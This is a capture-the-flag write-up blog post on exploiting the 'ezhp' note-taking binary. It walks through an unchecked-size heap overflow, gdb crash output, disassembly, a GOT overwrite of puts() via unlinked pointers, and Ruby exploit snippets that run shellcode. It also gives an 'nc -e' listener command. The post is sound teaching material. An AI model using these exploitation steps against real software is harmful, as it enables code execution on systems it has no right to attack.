I know what you’re thinking of: what’s with all the Web levels!?
Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you’re interested in exploitation—it’s actually one of the easiest exploitation levels you’ll find! Basically, ezhp was a simple note-writing system. When you run it, it looks like this:
./ezhp Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 1 Please give me a size. 10 Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit.
In typical PPP fashion, it’s a text-based app that is run using xinetd. I personally use “nc -vv -l -p 4444 -e ./ezhp” for testing, to make it run on localhost:4444.
The vulnerability
As usual, I started reversing from the easiest to the hardest. It’s like a crossword puzzle, when you know the easy stuff, the hard stuff falls into place. My teammate insisted that we had to figure out the allocation code, but it was really confusing so I let him work on that. Meanwhile, I started looking at the change and print code.
Something I quickly notice is that the change option asks for a size:
Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 3 Please give me an id. 0 Please give me a size. 10 Please input your data. aaaa Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option.
But in the code, it doesn’t re-allocate with the size:
.text:080488E7 mov dword ptr [esp], offset aPleaseGiveMeAS ; "Please give me a size." .text:080488EE call _puts .text:080488EE .text:080488F3 mov eax, ds:stdout .text:080488F8 mov [esp], eax ; stream .text:080488FB call _fflush .text:080488FB .text:08048900 mov eax, offset aDC ; "%d%*c" .text:08048905 lea edx, [ebp+entry_size] ; Nothing is stopping this from being negative .text:08048908 mov [esp+4], edx .text:0804890C mov [esp], eax .text:0804890F call ___isoc99_scanf .text:0804890F .text:08048914 mov dword ptr [esp], offset aPleaseInputYou ; "Please input your data." .text:0804891B call _puts .text:0804891B .text:08048920 mov eax, ds:stdout .text:08048925 mov [esp], eax ; stream .text:08048928 call _fflush .text:08048928 .text:0804892D mov edx, [ebp+entry_size] .text:08048930 mov eax, [ebp+entry_id] .text:08048933 mov eax, ds:entry_list[eax*4] .text:0804893A mov [esp+8], edx ; nbytes .text:0804893E mov [esp+4], eax ; buf .text:08048942 mov dword ptr [esp], 0 ; fd .text:08048949 call _read
Could it really be that easy? (Warning: this is going to be long, but I’ll explain why I chose this series of actions right away)
Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 1 Please give me a size. 4 Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 1 Please give me a size. 3 Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 3 Please give me an id. 0 Please give me a size. 20 Please input your data. AAAAAAAAAAAAAAAAAAAA Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. 2 Please give me an id. 1 Segmentation fault (core dumped)
Then using gdb to check out what happened:
$ gdb -q ./ezhp ./core Program terminated with signal 11, Segmentation fault. #0 0x0804874a in ?? () (gdb) x/i $eip 0x804874a: mov DWORD PTR [eax+0x8],edx (gdb) print/x $eax $2 = 0x41414141 (gdb) x/5i $eip 0x804874a: mov DWORD PTR [eax+0x8],edx 0x804874d: mov eax,ds:0x804b060 0x8048752: mov edx,DWORD PTR [eax+0x4] 0x8048755: mov eax,DWORD PTR [ebp-0xc] 0x8048758: mov DWORD PTR [eax+0x4],edx
This is exactly what I expected to see. Let me explain.
Heap overflows
So, this isn’t really a heap overflow. But it doesn’t matter - it’s a vulnerability that’s effectively identical to a heap overflow, and involves a data structure that looks like this:
typedef struct { void *previous; void *next; char data[0]; /* In C99+, this is an arbitrary-length array */
For a much more details/in-depth version of this vulnerability, check out my writeup for gitsmsg.
What I did to test was:
- Allocate a small chunk of data
- Allocate a second small check of data, that most likely goes right after the first chunk
- Write too many 'AAAA...' values to the first chunk, so it overwrite's the second chunk's previous/next pointers
- Attempt to de-allocate the second chunk
When you attempt to de-allocate the second chunk, it’s going to try to replace the previous/next pointers. It usually looks something like:
this->prev->next = this->next; this->next->prev = this->prev;
Since this->prev and this->next are part of the data that was overwritten, they’re going to be set to ‘AAAA…’. So, we expect a crash when it tries to write to this->prev->next, since it’s going to try to dereference this->prev, or 0x41414141. And sure enough, it crashes accessing 0x41414141:
(gdb) x/i $eip 0x804874a: mov DWORD PTR [eax+0x8],edx (gdb) print/x $eax $2 = 0x41414141
Note that it’s writing to eax+0x8. We can surmise that eax+0x8 is either ‘prev’ or ‘next’. Since this looks like unlinking code, we expect to see either eax+0x4 or eax+0xc written in the next couple lines. That’s why when I saw this code:
(gdb) x/5i $eip 0x804874a: mov DWORD PTR [eax+0x8],edx 0x804874d: mov eax,ds:0x804b060 0x8048752: mov edx,DWORD PTR [eax+0x4] 0x8048755: mov eax,DWORD PTR [ebp-0xc] 0x8048758: mov DWORD PTR [eax+0x4],edx
I knew exactly what I was looking at!
To summarize: they are allocating an array of data structures. Each structure comes after the previous, and contains previous/next pointers. By overwriting these pointers, we can cause an arbitrary address to be written with an arbitrary value. Sweet!
Exploit part 1: Leaking an address
This is the part where I always cross my fingers. Is executable memory being used? Or am I going to have to do something clever? Honestly, I didn’t even figure out whether this was heap or .bss or whatever—I found this issue almost entirely by recognizing the exploit category. But I figured the easiest thing to do is just to try:
- Create a long block containing shellcode
- Create a short block
- Write the shellcode to the long block, and just enough padding to get right up to the short block's 'previous' pointer
- Print out the first block
Hopefully this isn’t too confusing. What we want is to figure out where in memory shellcode is stored. I didn’t actually check if the address is randomized, but it doesn’t matter—when I have the opportunity to read the address of shellcode in a reliable way, I always take it. Why not make the code ASLR-proof if it’s not much extra work?
The code looks like this in my exploit:
# These are used to store shellcode and get the address reader = add_note(SHELLCODE_SIZE - 16) read = add_note(4) edit_note(reader, SHELLCODE_SIZE, SHELLCODE + ("\xcc" * (SHELLCODE_SIZE - SHELLCODE.length))) result = print_note(reader, SHELLCODE_SIZE + 8).unpack("I*") SHELLCODE_ADDRESS = result[(SHELLCODE_SIZE / 4)] + 0x0c
In the end, that address wound up being slightly inaccurate. I ended up dealing with that using a NOP sled (ewwww) instead of troubleshooting. Maybe I should have tried to understand the allocation code after all? :)
Now I have the address of my shellcode, what can I do with it!?
Exploit part 2: Controlling EIP
This is actually pretty easy once you understand part 1. Unlike gitsmsg (see the link above), RELRO wasn’t enabled, which means I could edit the relocation table. The relocation table looks like:
.got.plt:08049FF4 _got_plt segment dword public 'DATA' use32 .got.plt:08049FF4 assume cs:_got_plt .got.plt:08049FF4 ;org 8049FF4h .got.plt:08049FF4 align 10h .got.plt:0804A000 off_804A000 dd offset read ; DATA XREF: _readr .got.plt:0804A004 off_804A004 dd offset fflush ; DATA XREF: _fflushr .got.plt:0804A008 off_804A008 dd offset puts ; DATA XREF: _putsr .got.plt:0804A00C off_804A00C dd offset __gmon_start__ ; DATA XREF: ___gmon_start__r .got.plt:0804A010 off_804A010 dd offset exit ; DATA XREF: _exitr .got.plt:0804A014 off_804A014 dd offset __libc_start_main .got.plt:0804A014 ; DATA XREF: ___libc_start_mainr .got.plt:0804A018 off_804A018 dd offset __isoc99_scanf ; DATA XREF: ___isoc99_scanfr .got.plt:0804A01C off_804A01C dd offset sbrk ; DATA XREF: _sbrkr .got.plt:0804A01C _got_plt ends
Ultimately, it doesn’t matter which one I overwrite, as long as it gets called at some point. So, I chose puts(). The exploit code is pretty simple:
# These are used to overwrite arbitrary memory writer = add_note(4) owned = add_note(4) # Overwrite the second note's pointers, via the first edit_note(writer, 24, ("A" * 16) + [SHELLCODE_ADDRESS, PUTS_ADDRESS - 4].pack("II")) # Removing it will trigger the overwrite remove_note(owned)
Basically, we have 16 bytes of padding, then the address of the shellcode (the value we want to save) then the address of puts() in the relocation table (the place we want to save the shellcode address). Then we remove the note, which triggers the overwrite (and also a second overwrite, recall that unlinking changes both ‘prev’ and ‘next’; it didn’t affect me, but be careful with that).
puts() immediately gets called, and the shellcode runs. I chose shellcode I found online, it’s nothing special.
Conclusion
On one hand, I’m proud that I found/exploited this level so quickly. I think I finished the whole thing in maybe 2 hours?
On the other hand, I never really understood why certain stuff worked and didn’t work. For example, if my shellcode was too long it wouldn’t work, and sometimes I couldn’t read the address correctly. I also never really figured out the data structure, I completely used the debugger to get proper lengths.
So, it’s kind of an ugly exploit. But it worked! Plus, we got 200 points for it, and in the end isn’t that what matters?
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...